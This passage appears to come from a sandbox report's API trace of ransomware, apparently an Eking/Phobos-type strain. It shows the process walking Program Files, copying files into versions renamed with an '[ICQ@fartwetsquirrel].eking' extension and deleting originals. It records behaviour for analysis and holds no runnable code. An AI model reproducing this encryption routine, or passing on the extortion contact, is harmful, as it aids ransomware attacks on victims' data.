files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.241] SetEvent (hEvent=0x2a0) returned 1 [0294.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.243] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=221696) returned 1 [0294.243] CloseHandle (hObject=0x304) returned 1 [0294.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0294.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0294.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.244] SetEvent (hEvent=0x2a0) returned 1 [0294.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.245] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2560) returned 1 [0294.245] CloseHandle (hObject=0x304) returned 1 [0294.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0294.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0294.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.246] SetEvent (hEvent=0x2a0) returned 1 [0294.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.247] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=31744) returned 1 [0294.247] CloseHandle (hObject=0x304) returned 1 [0294.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0294.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0294.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.249] SetEvent (hEvent=0x2a0) returned 1 [0294.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.250] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=6144) returned 1 [0294.250] CloseHandle (hObject=0x304) returned 1 [0294.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0294.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0294.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.251] SetEvent (hEvent=0x2a0) returned 1 [0294.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.252] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=48128) returned 1 [0294.253] CloseHandle (hObject=0x304) returned 1 [0294.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0294.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0294.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.253] SetEvent (hEvent=0x2a0) returned 1 [0294.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.255] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=44032) returned 1 [0294.255] CloseHandle (hObject=0x304) returned 1 [0294.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0294.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0294.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.256] SetEvent (hEvent=0x2a0) returned 1 [0294.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.257] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=18432) returned 1 [0294.257] CloseHandle (hObject=0x304) returned 1 [0294.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0294.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0294.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.258] SetEvent (hEvent=0x2a0) returned 1 [0294.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.259] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=99840) returned 1 [0294.259] CloseHandle (hObject=0x304) returned 1 [0294.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0294.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0294.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.260] SetEvent (hEvent=0x2a0) returned 1 [0294.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.262] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=376320) returned 1 [0294.262] CloseHandle (hObject=0x304) returned 1 [0294.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0294.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0294.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.263] SetEvent (hEvent=0x2a0) returned 1 [0294.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0294.265] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=698368) returned 1 [0294.265] CloseHandle (hObject=0x304) returned 1 [0294.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0294.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0294.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.266] SetEvent (hEvent=0x2a0) returned 1 [0294.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0294.897] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=54784) returned 1 [0294.897] CloseHandle (hObject=0x308) returned 1 [0294.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0294.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0294.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.898] SetEvent (hEvent=0x2a0) returned 1 [0294.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0294.898] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=452) returned 1 [0294.898] CloseHandle (hObject=0x308) returned 1 [0294.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0294.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0294.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0294.899] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0294.899] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0294.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x310 [0294.900] ReadFile (in: hFile=0x308, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x1c4, lpOverlapped=0x0) returned 1 [0294.902] WriteFile (in: hFile=0x310, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x1d0, lpOverlapped=0x0) returned 1 [0294.903] WriteFile (in: hFile=0x310, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf2, lpOverlapped=0x0) returned 1 [0294.906] CloseHandle (hObject=0x308) returned 1 [0294.906] CloseHandle (hObject=0x310) returned 1 [0294.906] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 1 [0294.907] SetEvent (hEvent=0x2a0) returned 1 [0294.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0294.909] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=49688) returned 1 [0294.909] CloseHandle (hObject=0x310) returned 1 [0294.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0294.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0294.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0294.910] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1516608) returned 1 [0294.910] CloseHandle (hObject=0x310) returned 1 [0294.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0294.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0294.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0294.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0294.910] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0294.910] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0294.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0294.911] ReadFile (in: hFile=0x310, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x110100, lpOverlapped=0x0) returned 1 [0295.240] WriteFile (in: hFile=0x308, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x110100, lpOverlapped=0x0) returned 1 [0295.544] ReadFile (in: hFile=0x310, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020, lpNumberOfBytesRead=0x310fb24*=0x0, lpOverlapped=0x0) returned 0 [0295.546] CloseHandle (hObject=0x310) returned 1 [0295.569] CloseHandle (hObject=0x308) returned 1 [0295.569] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0295.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0295.572] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=587840) returned 1 [0295.572] 